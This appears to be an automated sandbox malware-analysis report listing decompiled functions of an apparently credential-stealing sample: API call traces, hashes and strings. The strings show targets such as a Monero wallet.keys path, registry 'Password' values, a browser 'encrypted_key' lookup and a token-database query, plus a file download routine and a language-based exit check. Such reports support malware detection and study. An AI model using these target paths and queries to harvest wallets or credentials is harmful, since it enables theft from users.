Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 094ad48b42d6d98b9911d5ac33bb7cc9a52f0756d870c5b2cdbeb8c23d6b5a59
Instruction ID: 4952a0f3257ef6a530c7922d5575174cc093f76321f89ae35ed1b76a4e3bad54
Opcode Fuzzy Hash: 094ad48b42d6d98b9911d5ac33bb7cc9a52f0756d870c5b2cdbeb8c23d6b5a59
Instruction Fuzzy Hash: 70C185B5E00219DBDB15EF60DC89FEE7378BB64304F004599E54AA7281EB70EA85CF90

Function 01004280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

lstrcat.KERNEL32(?,00000000), ref: 010042EC
lstrcat.KERNEL32(?,0198F280), ref: 0100430B
lstrcat.KERNEL32(?,?), ref: 0100431F
lstrcat.KERNEL32(?,0198D7F8), ref: 01004333

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 01008D90: GetFileAttributesA.KERNEL32(00000000,?,00FF1B54,?,?,0101564C,?,?,01010E1F), ref: 01008D9F

Part of subcall function 00FF9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FF9D39

Part of subcall function 00FF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
Part of subcall function 00FF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
Part of subcall function 00FF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
Part of subcall function 00FF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
Part of subcall function 00FF99C0: LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
Part of subcall function 00FF99C0: CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

Part of subcall function 010093C0: GlobalAlloc.KERNEL32(00000000,010043DD,010043DD), ref: 010093D3

StrStrA.SHLWAPI(?,0198F190), ref: 010043F3
GlobalFree.KERNEL32(?), ref: 01004512

Part of subcall function 00FF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9AEF
Part of subcall function 00FF9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B01
Part of subcall function 00FF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9B2A
Part of subcall function 00FF9AC0: LocalFree.KERNEL32(?,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B3F

lstrcat.KERNEL32(?,00000000), ref: 010044A3
StrCmpCA.SHLWAPI(?,010108D1), ref: 010044C0
lstrcat.KERNEL32(00000000,00000000), ref: 010044D2
lstrcat.KERNEL32(00000000,?), ref: 010044E5
lstrcat.KERNEL32(00000000,01010FB8), ref: 010044F4

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 6b2b15ef8dccc78480b78e2ad339843734f762b840a01d35e3d7ac519977189a
Instruction ID: a35ab3ac6a831c0ecdf131ee52688d4395546116fd0ec4531d64a1697f7b8be7
Opcode Fuzzy Hash: 6b2b15ef8dccc78480b78e2ad339843734f762b840a01d35e3d7ac519977189a
Instruction Fuzzy Hash: 1B7174B6900208ABDB15FBA4EC89FEE7378BB48300F048598E64597185EB75D749CF91

Function 00FF1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FF12B4
Part of subcall function 00FF12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00FF12BB
Part of subcall function 00FF12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00FF12D7
Part of subcall function 00FF12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FF12F5
Part of subcall function 00FF12A0: RegCloseKey.ADVAPI32(?), ref: 00FF12FF

lstrcat.KERNEL32(?,00000000), ref: 00FF134F
lstrlen.KERNEL32(?), ref: 00FF135C
lstrcat.KERNEL32(?,.keys), ref: 00FF1377

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01008B60: GetSystemTime.KERNEL32(01010E1A,0198E8C8,010105AE,?,?,00FF13F9,?,0000001A,01010E1A,00000000,?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 01008B86

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00FF1465

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
Part of subcall function 00FF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
Part of subcall function 00FF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
Part of subcall function 00FF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
Part of subcall function 00FF99C0: LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
Part of subcall function 00FF99C0: CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

DeleteFileA.KERNEL32(00000000), ref: 00FF14EF

Strings

\Monero\wallet.keys, xrefs: 00FF138D
SOFTWARE\monero-project\monero-core, xrefs: 00FF1335
wallet_path, xrefs: 00FF1330
.keys, xrefs: 00FF136B

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 3065412caca77ceb333250018ffe5c1a49ccf184065412bb586bb3c98439b19b
Instruction ID: 4c19b21889bec208947a71dd66075f29b4c7e67c5e2b8cf12ef41107683ade93
Opcode Fuzzy Hash: 3065412caca77ceb333250018ffe5c1a49ccf184065412bb586bb3c98439b19b
Instruction Fuzzy Hash: FB5165B1E5021997DB16FB60DD95FED737CAF64200F4041A8A68AA30D0EF345B89CFA5

Function 00FF75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00FF733A
Part of subcall function 00FF72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FF73B1
Part of subcall function 00FF72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FF740D
Part of subcall function 00FF72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00FF7452
Part of subcall function 00FF72D0: HeapFree.KERNEL32(00000000), ref: 00FF7459

lstrcat.KERNEL32(00000000,010117FC), ref: 00FF7606
lstrcat.KERNEL32(00000000,00000000), ref: 00FF7648
lstrcat.KERNEL32(00000000, : ), ref: 00FF765A
lstrcat.KERNEL32(00000000,00000000), ref: 00FF768F
lstrcat.KERNEL32(00000000,01011804), ref: 00FF76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00FF76D3
lstrcat.KERNEL32(00000000,01011808), ref: 00FF76ED
task.LIBCPMTD ref: 00FF76FB

Strings

: , xrefs: 00FF764E

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 5834e8f8c70c3e0fda8b24c575ae218e6b52011f23b6a804b0ea5ea0dc4d39df
Instruction ID: b8fabeda6af6d333334e0970e59b228fb7aec0fe417d932e67f8331795131cf3
Opcode Fuzzy Hash: 5834e8f8c70c3e0fda8b24c575ae218e6b52011f23b6a804b0ea5ea0dc4d39df
Instruction Fuzzy Hash: E531EC72900209DFCF18EBB4EC99DFE7779AF54301B104128E242E72A4DA39A946EB50

Function 01008100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0198F6E8,00000000,?,01010E2C,00000000,?,00000000), ref: 01008130
RtlAllocateHeap.NTDLL(00000000), ref: 01008137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 01008158
__aulldiv.LIBCMT ref: 01008172
__aulldiv.LIBCMT ref: 01008180
wsprintfA.USER32 ref: 010081AC

Strings

%d MB, xrefs: 010081A3
@, xrefs: 0100814D

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 8f5bbd7b9fb6d30d794768d2f82d77b82b6c28537cf5144f5a90b4b1e52c07a2
Instruction ID: edf53c772a5b2550dd36049843d98dbc57557bf3e758c6d538d4cde05d235e45
Opcode Fuzzy Hash: 8f5bbd7b9fb6d30d794768d2f82d77b82b6c28537cf5144f5a90b4b1e52c07a2
Instruction Fuzzy Hash: 1F214AB1E44208ABEB10DFD4DC49FAEBBB8FB44B10F104219F645BB2C4C77869008BA5

Function 00FF60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
Part of subcall function 00FF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

InternetOpenA.WININET(01010DF7,00000001,00000000,00000000,00000000), ref: 00FF610F
StrCmpCA.SHLWAPI(?,0198FB08), ref: 00FF6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00FF618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00FF61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00FF61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00FF620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00FF6249
InternetCloseHandle.WININET(?), ref: 00FF6253
InternetCloseHandle.WININET(00000000), ref: 00FF6260

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: fb369467f215555f6855833390ee37f542d2f61c572a1d9349db627fe55d594c
Instruction ID: 567d7990e69be3b0f8780f624c4b45046cce138f2fd593d5c15b0ecd1d2d7a4e
Opcode Fuzzy Hash: fb369467f215555f6855833390ee37f542d2f61c572a1d9349db627fe55d594c
Instruction Fuzzy Hash: 84514CB1A00218ABEF24DB50DC49BEE77B8EF44705F1080A8A646E71C4DB746A89DF94

Function 00FF72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00FF733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FF73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FF740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00FF7452
HeapFree.KERNEL32(00000000), ref: 00FF7459
task.LIBCPMTD ref: 00FF7555

Strings

Password, xrefs: 00FF7401

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 7904713cdfb2b33bf8b0ef49feeebec1b0be5d99e7b650212932d70f2b7dbfd3
Instruction ID: bbd3b5fba8843f8396415d43c34b9627c39003ed8ef6b7c59b31570395dd9d04
Opcode Fuzzy Hash: 7904713cdfb2b33bf8b0ef49feeebec1b0be5d99e7b650212932d70f2b7dbfd3
Instruction Fuzzy Hash: 5F614AB1C0422C9BDB24DB50DC85BEAB7B8BF44300F0081E9E689A6155DFB45BC9DFA0

Function 00FFBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

lstrlen.KERNEL32(00000000), ref: 00FFBC9F

Part of subcall function 01008E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00FFBCCD
lstrlen.KERNEL32(00000000), ref: 00FFBDA5
lstrlen.KERNEL32(00000000), ref: 00FFBDB9

Strings

AccountTokens, xrefs: 00FFBB49
AccountTokens, xrefs: 00FFBABA
AccountId, xrefs: 00FFBCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00FFBBEB

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 387507b44bf6b733fae74ed5eb54ec93b9e05f3616ff5937bae6597d95f9dbfd
Instruction ID: f4eeb946e5e4fa5610864e2e1d1c07fe88225202b3e7effc3162a023b212ece7
Opcode Fuzzy Hash: 387507b44bf6b733fae74ed5eb54ec93b9e05f3616ff5937bae6597d95f9dbfd
Instruction Fuzzy Hash: 41B12071A10209DBEF19FBA0DD95EEE7338AF64200F404169E587A71D4EF346B49CBA1

Function 01006770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 01006774
ExitProcess.KERNEL32 ref: 010067A5
ExitProcess.KERNEL32 ref: 010067AF
ExitProcess.KERNEL32 ref: 010067B9
ExitProcess.KERNEL32 ref: 010067C3
ExitProcess.KERNEL32 ref: 010067CD

Strings

*, xrefs: 0100678C

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 7ac94bac53d01c688e2017e427850d36c7d1915662c4dba8f6b01d9bc31d27c4
Instruction ID: 4298eb0d20691d9d0ba766b3faa7765e293050cfd16054e2b3be344ed49e413e
Opcode Fuzzy Hash: 7ac94bac53d01c688e2017e427850d36c7d1915662c4dba8f6b01d9bc31d27c4
Instruction Fuzzy Hash: 5CF05E30904309EFD3699FE0F54D76C7B70FB04703F0401A8E68AC7284E6754B519B95

Function 00FF4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

